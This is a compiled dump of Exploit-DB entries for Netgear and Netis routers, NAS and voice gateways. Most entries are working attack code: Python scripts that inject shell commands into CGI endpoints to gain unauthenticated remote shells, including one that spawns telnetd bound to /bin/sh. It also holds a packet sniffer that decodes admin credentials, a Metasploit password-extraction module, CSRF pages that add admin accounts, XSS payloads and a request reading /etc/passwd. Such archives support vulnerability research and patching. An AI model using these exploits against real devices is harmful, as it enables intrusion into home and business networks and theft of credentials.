deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33138
Description: Netgear DGN2200 1.0.0.29_1.7.29_HotS - Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2014-05-01
Author: Dolev Farhi

Exploit:
# Exploit Title: Stored XSS Vulnerability in NETGEAR DGN2200 Web interface

# Date 30/04/2014

# Exploit author: Dolev Farhi @f1nhack

# Vendor homepage: http://netgear.com

# Affected Firmware version: 1.0.0.29_1.7.29_HotS

# Affected Hardware: NETGEAR DGN2200 Wireless ADSL Router




Summary
=======
NETGEAR DGN2200 ADSL router web interface suffers from persistent XSS vulnerability in the QoS(Quality of Service) Administration page under 'Expert Mode'.



Vulnerability Description
=========================
Persistent Cross Site Scripting



Steps to reproduce / PoC:
=========================
1. Login to the router web interface

2. Enter expert mode

3. navigate to QoS page

4. Add QoS Rule, or Edit an existing one.

5. in "QoS Policy for: " Enter the following: <script>alert("XSS")</script> and click apply.

6. go to another page and navigate back into QoS - the XSS error pops up.
	- PoC Video: https://www.youtube.com/watch?v=xxjluF2RR70
Exploit-DB #50099
Description: Netgear DGN2200v1 - Remote Command Execution (RCE) (Unauthenticated)
Type: webapps
Platform: hardware
Date: 2021-07-06
Author: SivertPL

Exploit:
# Exploit Title: Netgear DGN2200v1 - Remote Command Execution (RCE) (Unauthenticated)
# Date: 02.07.2021
# Exploit Author: SivertPL
# Vendor Homepage: https://www.netgear.com/
# Version: All prior to v1.0.0.60

#!/usr/bin/python

"""
NETGEAR DGN2200v1 Unauthenticated Remote Command Execution

Author: SivertPL (kroppoloe@protonmail.ch)
Date: 02.07.2021
Status: Patched in some models
Version: All prior to v1.0.0.60
Impact: Critical 

CVE: No CVE number assigned
PSV: PSV-2020-0363, PSV-2020-0364, PSV-2020-0365


References: 
    1) https://www.microsoft.com/security/blog/2021/06/30/microsoft-finds-new-netgear-firmware-vulnerabilities-that-could-lead-to-identity-theft-and-full-system-compromise/
    2) https://kb.netgear.com/000062646/Security-Advisory-for-Multiple-HTTPd-Authentication-Vulnerabilities-on-DGN2200v1


The exploit script only works on UNIX-based systems.

This ancient vulnerability works on other models utilizing Bezeq firmware, so not just DGN2200v1 is vulnerable. It is estimated that around 7-10 other models might be or might have been vulnerable in the past.
This is a very old exploit, dating back to 2017, so forgive me for Python2.7 lol.

"""

import sys
import requests
import os

target_ip = "192.168.0.1"
telnet_port = 666
sent = False

def main():
    if len(sys.argv) < 3:
        print "./dgn2200_pwn.py <router ip> <backdoor-port>"
        exit()

    target_ip = sys.argv[1]
    telnet_port = int(sys.argv[2])
    print "[+] Sending the payload to " + target_ip + " and opening the backdoor ..."
    send_payload()
    print "[+] Trying to connect to the backdoor for " + str(telnet_port) + " ..."
    print "[!] If it fails to connect it means the target is probably not vulnerable"
    spawn_shell()

def send_payload():
    try:
        requests.get("http://" + target_ip + "/dnslookup.cgi?host_name=www.google.com; /usr/sbin/telnetd -p " + str(telnet_port) + " -l /bin/sh" + str(telnet_port) + "&lookup=Lookup&ess_=true")
        sent = True
    except Exception:
        sent = False
        print "[-] Unknown error, target might not be vulnerable."

def spawn_shell():
    if sent:
        print "[+] Dropping a shell..."
        os.system("telnet " + target_ip + " " + telnet_port)
    else:
        exit()


if __name__ == "__main__":
    main()
Exploit-DB #41459
Description: Netgear DGN2200v1/v2/v3/v4 - 'dnslookup.cgi' Remote Command Execution
Type: webapps
Platform: hardware
Date: 2017-02-25
Author: SivertPL

Exploit:
#!/usr/bin/python

#Provides access to default user account, privileges can be easily elevated by using either:
# - a kernel exploit (ex. memodipper was tested and it worked)
# - by executing /bin/bd (suid backdoor present on SOME but not all versions)
# - by manipulating the httpd config files to trick the root user into executing your code (separate advisory will be released soon)
 
#Pozdrawiam: Kornela, Komara i Sknerusa

import sys
import requests
 
#You can change these credentials to ex. Gearguy/Geardog or Guest/Guest which are hardcoded on SOME firmware versions
#These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to
 
login = 'admin'
[CREDENTIAL_REDACTED]'
 
def main():
    if len(sys.argv) < 2:
        print "./netgearpwn_2.py <router ip>"
        return
    spawnShell()

def execute(cmd): #Escaping basic sanitization
    requests.post("http://" + sys.argv[1] + "/dnslookup.cgi", data={'host_name':"www.google.com; " + cmd, 'lookup': "Lookup"}, auth=(login, password))
    return

def spawnShell():
    print "Dropping a shell-like environment (blind OS injection)"
    print "To test it type 'reboot'"
    while True:
        cmd = raw_input("[blind $] ")
        execute(cmd)
 
if __name__ == "__main__":
    main()

#2017-02-25 by SivertPL
#Tak, to ja.
Exploit-DB #41394
Description: Netgear DGN2200v1/v2/v3/v4 - 'ping.cgi' Remote Command Execution
Type: webapps
Platform: hardware
Date: 2017-02-18
Author: SivertPL

Exploit:
#!/usr/bin/python
#Provides access to default user account, privileges can be easily elevated by using either:
# - a kernel exploit (ex. memodipper was tested and it worked)
# - by executing /bin/bd (suid backdoor present on SOME but not all versions)
# - by manipulating the httpd config files to trick the root user into executing your code (separate advisory will be released soon along with the 2nd vuln)

#Pozdrawiam: Kornela, Komara i Sknerusa

import sys
import requests

#You can change these credentials to ex. Gearguy/Geardog or Guest/Guest which are hardcoded on SOME firmware versions
#These routers DO NOT support telnet/ssh access so you can use this exploit to access the shell if you want to

login = 'admin'
[CREDENTIAL_REDACTED]' 


def main():
	if len(sys.argv) < 2 or len(sys.argv) == 3:
		print "./netgearpwn.py <router ip>"
		return
	spawnShell()

def execute(cmd):
	r = requests.post("http://" + sys.argv[1] + "/ping.cgi", data={'IPAddr1': 12, 'IPAddr2': 12, 'IPAddr3': 12, 'IPAddr4': 12, 'ping':"Ping", 'ping_IPAddr':"12.12.12.12; " + cmd}, auth=(login, password), headers={'referer': "http://192.168.0.1/DIAG_diag.htm"})
	result = parseOutput(r.text)	
	return result

def spawnShell():
	r = execute("echo pwn3d")

	if any("pwn3d" in s for s in r) == False:
		print "Something went wrong, is the system vulnerable? Are the credentials correct?"
		return

	while True:
		cmd = raw_input("$ ")
		r = execute(cmd)
		for l in r:
			print l.encode("utf-8")

def parseOutput(output):
	yet = False
	a = False
	result = []
	for line in output.splitlines():
		if line.startswith("<textarea"):
			yet = True
			continue
		if yet == True: 			
			if line.startswith("</textarea>"):
				break
			result.append(line)
	return result

if __name__ == "__main__":
	main()
Exploit-DB #41472
Description: Netgear DGN2200v1/v2/v3/v4 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2017-02-28
Author: SivertPL

Exploit:
# Exploit Title: NETGEAR Firmware DGN2200v1/v2/v3/v4 CSRF which leads to RCE through CVE-2017-6334
# Date: 2017-02-28
# Exploit Author: SivertPL
# Vendor Homepage: http://netgear.com/
# Software Link: http://www.downloads.netgear.com/files/GDC/DGN2200/DGN2200%20Firmware%20Version%201.0.0.20%20-%20Initial%20Release%20(NA).zip
# Version: 10.0.0.20 (initial) - 10.0.0.50 (latest, still 0-day!)
# Tested on: DGN2200v1,v2,v3,v4

# CVE: CVE-2017-6366

A quite dangerous CSRF was discovered on all DGN2200 firmwares.
When chained with either CVE-2017-6077 or CVE-2017-6334, allows for unauthenticated (sic!) RCE after tricking somebody logged in to the router to view a website.

<!DOCTYPE html>
<html>
	<title>netgear router CSRF</title>
	<body>
		<form method="POST" action="http://192.168.0.1/dnslookup.cgi">
			<input type="hidden" name="host_name" value="www.google.com; reboot"> <!-- CVE-2017-6334 payload -->
			<input type="hidden" name="lookup" value="Lookup">
			<button name="clc" value="clc">Would You Dare To?</button> 
		</form>
	</body>
</html>

<!-- 2017-02-27 by SivertPL -->
Exploit-DB #47782
Description: Netgear R6400 - Remote Code Execution
Type: webapps
Platform: hardware
Date: 2019-12-17
Author: Kevin Randall

Exploit:
# Exploit Title: Netgear R6400 - Remote Code Execution
# Date: 2019-12-14
# Exploit Author: Kevin Randall
# CVE: CVE-2016-6277
# Vendor Homepage: https://www.netgear.com/
# Category: Hardware
# Version: V1.0.7.2_1.1.93

# PoC

#!/usr/bin/python

import urllib2

IP_ADDR = "192.168.1.1"
PROTOCOL = "http://"
DIRECTORY = "/cgi-bin/;"
CMD = "date"
FULL_URL = PROTOCOL + IP_ADDR + DIRECTORY + CMD

req = urllib2.Request(url = FULL_URL)
response = urllib2.urlopen(req)
commandoutput = response.read()
spl_word =  "}"
formattedoutput = commandoutput
result = formattedoutput.rpartition(spl_word)[2]
print result
Exploit-DB #40898
Description: Netgear R7000 - Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2016-12-11
Author: Vincent Yiu

Exploit:
# Exploit Title: Netgear R7000 - XSS via. DHCP hostname
# Date: 11-12-2016
# Exploit Author: Vincent Yiu
# Contact: https://twitter.com/vysecurity
# Vendor Homepage: https://www.netgear.com/
# Category: Hardware / WebApp
# Version: V1.0.7.2_1.1.93 + LATEST to date
 
-Vulnerability
An user who has access to send DHCP via either VPN or Wireless connection can serve a host name with script tags to trigger XSS.

Could be potentially used to connect to open or guest WIFI hotspot and inject stored XSS into admin panel and steal cookie for authentication.

http://RouterIP/start.htm

Then visit the "view who's connected" page.
 
-Proof Of Concept
Set /etc/dhcp/dhclient.conf

send host-name "<script>alert('xss')</script>";
Exploit-DB #37720
Description: Netgear ReadyNAS LAN /dbbroker 6.2.4 - Credential Disclosure
Type: webapps
Platform: hardware
Date: 2015-07-31
Author: St0rn

Exploit:
#!/usr/bin/env python
#
# Exploit Title: NETGEAR ReadyNAS LAN /dbbroker Credential Stealing
# Date: 25/07/2015
# Exploit Author: St0rn
# Vendor Homepage: www.netgear.fr/business/products/storage/readynas
# Software Link: apps.readynas.com/pages/?page_id=143
# Version: Firmware 6.2.4
#

### Import ###
from scapy.all import *
from sys import argv,exit
from os import system

### Clear Function ###
def clear():
system("/usr/bin/clear")


### Function to get and decode credential ###
def getReadyNASCredz(p):
if p.haslayer(TCP) and p[IP].dst==argv[2]:
if p.haslayer(Raw):
if "POST /dbbroker" in p[Raw].load:
tmp=p[Raw].load
credz=tmp.split("\r\n")
for i in credz:
if "Authorization: Basic" in i:
print "-----------------".center(80)
print i.split(" ")[2].decode("base64").center(80)


### Main ###
if __name__ == '__main__':

clear()
if len(argv)<3:
print "Usage: %s [device] [NAS_IP]" %(argv[0])
exit(0)
else:
print "\n"
print "#################".center(80)
print "#G0 t0 G3t Cr3dZ#".center(80)
print "#################\n".center(80)

sniff(prn=getReadyNASCredz,iface=argv[1])
Exploit-DB #42956
Description: Netgear ReadyNAS Surveillance 1.4.3-16 - Remote Command Execution
Type: webapps
Platform: hardware
Date: 2017-09-27
Author: Kacper Szurek

Exploit:
# Exploit Netgear ReadyNAS Surveillance 1.4.3-16 Unauthenticated RCE
# Date: 27.09.2017
# Software Link: https://www.netgear.com/
# Exploit Author: Kacper Szurek
# Contact: https://twitter.com/KacperSzurek
# Website: https://security.szurek.pl/
# Category: remote
   
1. Description
  
$_GET['uploaddir'] is not escaped and passed to system() through $tmp_upload_dir.

https://security.szurek.pl/netgear-ready-nas-surveillance-14316-unauthenticated-rce.html
 
2. Proof of Concept

http://IP/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;sleep%205;%27
Exploit-DB #38449
Description: Netgear Voice Gateway 2.3.0.23_2.3.23 - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2015-10-13
Author: Karn Ganeshen

Exploit:
# Exploit Title: [Netgear Voice Gateway Multiple Vulnerabilities]
# Date: May 01, 2015 [No response from Vendor]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [www.netgear.com]
# Version: [Firmware Version: V2.3.0.23_2.3.23]


*Netgear Voice Gateway Multiple Vulnerabilities *

*Device Info *
Device Type: Netgear Voice Gateway EVG2000
Account Name: EVG2000
Firmware Version: V2.3.0.23_2.3.23

*1. Web application vulnerabilities OS Command Injection *

Netgear Voice Gateway EVG2000 is managed through a web management portal.
The application provides a Diagnostics feature that has four (4) options:

a.Ping an IP address
b.Perform a DNS Lookup
c.Display the Routing Table
d.Reboot the Router

Option 1 Ping an IP address was confirmed to be vulnerable to OS Command
Injection.

The ping_IPAddr parameter does not sufficiently validate input. It is
possible to use the semi-colon character (;) to inject arbitrary OS
commands and retrieve the output in the application's responses.

*PoC*

*HTTP POST Request*

POST /ping.cgi HTTP/1.1
Host: 1.3.3.7
User-Agent: blah
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Referer: http://1.3.3.7/DIAG_diag.htm
Authorization: Basic <b64_value_here>
Content-Length: 69

IPAddr1=1&IPAddr2=3&IPAddr3=3&IPAddr4=7&ping=Ping&ping_IPAddr=1.3.3.7;cat
/etc/passwd

*HTTP Response*
.....
<html-output>
root:<redacted_hash>:0:0:Linux User,,,:/root/:/bin/sh
nobody:*:0:0nobody:/:/bin/sh
admin:<clear-text-admin-pass>:0:0:admin:/:/bin/sh


*2. Web application vulnerabilities Stored Cross-Site Scripting (XSS) *

In the Services menu, the Service Table lists any existing Service-Port
mappings. A new service can be added with a payload value of
*<script>alert(xss)</script>* in the ServiceType parameter.

The application does not check any malicious input and accepted this new
entry. The JavaScript input was then returned unmodified in a subsequent
request for the Services Table Entries.

The web application lacks strict input validation and hence is vulnerable
to Stored Cross-Site Scripting attack.


*3. Application does not secure configured passwords (HTTP) *

Any & all configured sensitive information such as passwords & keys are not
secured properly. These are masked and only ***** is shown in the
corresponding fields.

This client-side restriction can easily be bypassed though. It is possible
to capture masked values via ‘Inspect Element’ and / or via an intercepting
proxy.

The application should mask/censure (*****) the passwords, keys and any
other crucial pieces of configuration and must not pass the values in
clear-text.
Exploit-DB #45741
Description: Netgear WiFi Router R6120 - Credential Disclosure
Type: webapps
Platform: hardware
Date: 2018-10-30
Author: Wadeek

Exploit:
# Exploit Title: NETGEAR WiFi Router R6120 - Credential Disclosure
# Date: 2018-10-28
# Exploit Author: Wadeek
# Hardware Version: R6120
# Firmware Version: 1.0.0.30
# Vendor Homepage: https://www.netgear.com/support/product/R6120.aspx
# Firmware Link: http://www.downloads.netgear.com/files/GDC/R6120/R6120-V1.0.0.30.zip

# == Files Containing Juicy Info ==
>> http://192.168.1.1:56688/rootDesc.xml (Server:  Unspecified, UPnP/1.0, Unspecified)
<serialNumber>SSSSSSSNNNNNN</serialNumber>

# == Security Questions Bypass > Password Disclosure ==
>> http://192.168.1.1/401_recovery.htm (SSSSSSSNNNNNN value for input)
<POST REQUEST>
htpwd_recovery.cgi?id=XXXXXXXXXXXXXXX (one attempt because /tmp/SessionFile.*.htm)
(replace)
dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=securityquestions.htm&SID=
(by)
dev_serial=SSSSSSSNNNNNN&todo=verify_sn&this_file=401_recovery.htm&next_file=passwordrecovered.htm&SID=
<POST RESPONSE>
">You have successfully recovered the admin password.</span>
">Router Admin Username</span>:&nbsp;admin</td>
">Router Admin Password</span>:&nbsp;Str0ng+-Passw0rd</td>

# == Authenticated Telnet Command Execution ==
>> http://admin:Str0ng+-Passw0rd@192.168.1.1/setup.cgi?todo=debug
:~$ telnet 192.168.1.1
R6120 login: admin
[CREDENTIAL_REDACTED]+-Passw0rd
{
upload by TFTP # tftp -p -r [LOCAL-FILENAME] [IP] [PORT]
download by TFTP # tftp -g -r [REMOTE-FILENAME_ELF_32-bit_LSB_executable_MIPS || linux/mipsle/meterpreter/reverse_tcp] [IP] [PORT]
}
Exploit-DB #50069
Description: Netgear WNAP320 2.0.3 - 'macAddress' Remote Code Execution (RCE) (Unauthenticated)
Type: webapps
Platform: hardware
Date: 2021-06-28
Author: Bryan Leong

Exploit:
# Exploit Title: Netgear WNAP320 2.0.3 - 'macAddress' Remote Code Execution (RCE) (Unauthenticated)
# Vulnerability: Remote Command Execution on /boardDataWW.php macAddress parameter
# Notes: The RCE doesn't need to be authenticated
# Date: 26/06/2021
# Exploit Author: Bryan Leong <NobodyAtall>
# IoT Device: Netgear WNAP320 Access Point
# Version: WNAP320 Access Point Firmware v2.0.3

import requests
import sys

if(len(sys.argv) != 2):
	print('Must specify the IP parameter')
	print("eg: python3 wnap320_v2_0_3.py <IP>")
	sys.exit(0)

host = sys.argv[1]
port = 80

cmd = ''

while(True):
	cmd = input('Shell_CMD$ ')
	#injecting system command part writing the command output to a output file
	data = {
		'macAddress' : '[PII_REDACTED]6;' + cmd + ' > ./output #',
		'reginfo' : '0',
		'writeData' : 'Submit'
	} 

	url = 'http://' + host + '/boardDataWW.php'
	response = requests.post(url, data=data)

	if(response.ok):
		#read the command output result
		url = 'http://' + host + '/output'
		cmdOutput = requests.get(url)
		print(cmdOutput.text)

		#remove trace
		cmd = 'rm ./output'
		data = {
			'macAddress' : '[PII_REDACTED]6;' + cmd + ' #',
			'reginfo' : '0',
			'writeData' : 'Submit'
		}
		url = 'http://' + host + '/boardDataWW.php'
		response = requests.post(url, data=data)
	else:
		print('[!] No response from the server.')
Exploit-DB #33984
Description: Netgear WNR1000v3 - Password Recovery Credential Disclosure (Metasploit)
Type: webapps
Platform: hardware
Date: 2014-07-07
Author: c1ph04

Exploit:
#
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#
# Exploit Title: Netgear WNR1000v3 Password Recovery Credential Disclosure Vulnerability
# Date: 7-5-14
# Exploit Author: c1ph04
# Vendor Homepage: http://www.netgear.com/
# Version: 1.0
# Tested on: Netgear WNR1000v3 Router Version: <= 1.0.2.62_60.0.87

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize
    super(

      'Name'        => 'Netgear WNR1000v3 Password Extractor',

      'Description' => %q{
          This module exploits a vulnerability in the password recovery feature of certain Netgear WNR1000v3 routers.
          Affected devices will allow retrieval of the plaintext administrator credentials.
          Vulnerable Versions: <= 1.0.2.62_60.0.87
       },

      'References'  =>
        [
          [ 'URL', 'http://c1ph04text.blogspot.com/2014/01/mitrm-attacks-your-middle-or-mine.html' ],
          [ 'URL', 'http://packetstormsecurity.com/files/124759/NETGEAR-WNR1000v3-Password-Disclosure.html' ],
          [ 'URL', 'http://secunia.com/community/advisories/56330' ],
          [ 'URL', 'http://www.shodanhq.com/search?q=WNR1000v3' ]
        ],

      'Author'      =>
        [
          'c1ph04 <c1ph04mail[at]gmail.com>' # aka - "Ms. Difrank"...idiots
        ],
      'License'     => MSF_LICENSE
    )
  end

  def run

    print_status("#{rhost}:#{rport} - Attempting to extract credentials...")

    begin

      res = send_request_raw({
        'uri' => '/',
        'method' => 'GET'
        })

      if (res.body =~ /(id)/)
        uid = res.body.scan(/\d{5,15}/)
        uid = uid[0]
        print_good("#{rhost}:#{rport} - UID Retrieved: #{uid}")
        print_good("#{rhost}:#{rport} - Sending Request...")

      else
        print_error("Unexpected response...is this a Netgear Router?")
        return

      end

      res2 = send_request_raw({
        'uri' => "/passwordrecovered.cgi?id=#{uid}",
        'method' => 'POST'
        })

        if (res2.body =~ /(successfully)/)
          creds = res2.body.scan(/left">(.*)</)
          user = creds[0]
          pass = creds[1]
          print_good("#{rhost}:#{rport} - Username: #{user}")
          print_good("#{rhost}:#{rport} - Password: #{pass}")

        else
          print_error("#{rhost}:#{rport} - Failed: Target Not Vulnerable")

        end
       end
      end

    rescue ::Rex::ConnectionError
      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
      return

    end
Exploit-DB #25969
Description: Netgear WPN824v3 - Unauthorized Configuration Download
Type: webapps
Platform: hardware
Date: 2013-06-05
Author: Jens Regel

Exploit:
Title:
======
Netgear WPN824v3 Unauthorized Config Download

Date:
=====
2013-06-03

Introduction:
=============
The Netgear RangeMax Wireless Router (model WPN824v3) allows to download
the config file without authorization.

Status:
========
Published

Affected Products:
==================
Netgear WPN824v3

Vendor Homepage:
================
http://support.netgear.com/product/WPN824v3

Exploitation-Technique:
=======================
Local and Remote

Details:
========
I found a bug in the Netgear WPN824v3 wireless router, everyone is able
to download the full config file without authorization.
Unfortunately the config file is not htaccess protected.
Tested with latest firmware V1.0.8_1.0.6.

Proof of Concept:
=================
The vulnerability can be exploited with your browser:

http://[local-ip]/cgi-bin/NETGEAR_wpn824v3.cfg

If remote management is enabled:

http://[remote-ip]:8080/cgi-bin/NETGEAR_wpn824v3.cfg

Workaround:
=========
Disable the remote management feature!

Author:
========
Jens Regel <jens@loxiran.de>
Exploit-DB #45532
Description: Netis ADSL Router DL4322D RTK 2.1.1 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: hardware
Date: 2018-10-05
Author: cakes

Exploit:
# Exploit Title: Netis ADSL Router DL4322D RTK 2.1.1 - Cross-Site Request Forgery (Add Admin)
# Author: Cakes
# Discovery Date: 2018-10-01
# Vendor Homepage: http://www.netis-systems.com
# Software Link: http://www.netis-systems.com/Home/detail/id/74.html
# Tested Version: RTK 2.1.1
# Tested on OS: Kali Linux
# CVE: N/A
 
# Description
# Due to improper session management an attacker is able to add a administrator account
# without providing any authentication credentials.

# PoC 1
POST /form2userconfig.cgi HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

username=Cakes&privilege=2&newpass=1234&confpass=1234&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send

# PoC 2
<html>
  <body>
    <form action="http://Target/form2userconfig.cgi" method="POST">
      <input type="hidden" name="username" value="Cakes" />
      <input type="hidden" name="privilege" value="2" />
      <input type="hidden" name="newpass" value="1234" />
      <input type="hidden" name="confpass" value="1234" />
      <input type="hidden" name="adduser" value="Add" />
      <input type="hidden" name="hiddenpass" value="" />
      <input type="hidden" name="submit&#46;htm&#63;userconfig&#46;htm" value="Send" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>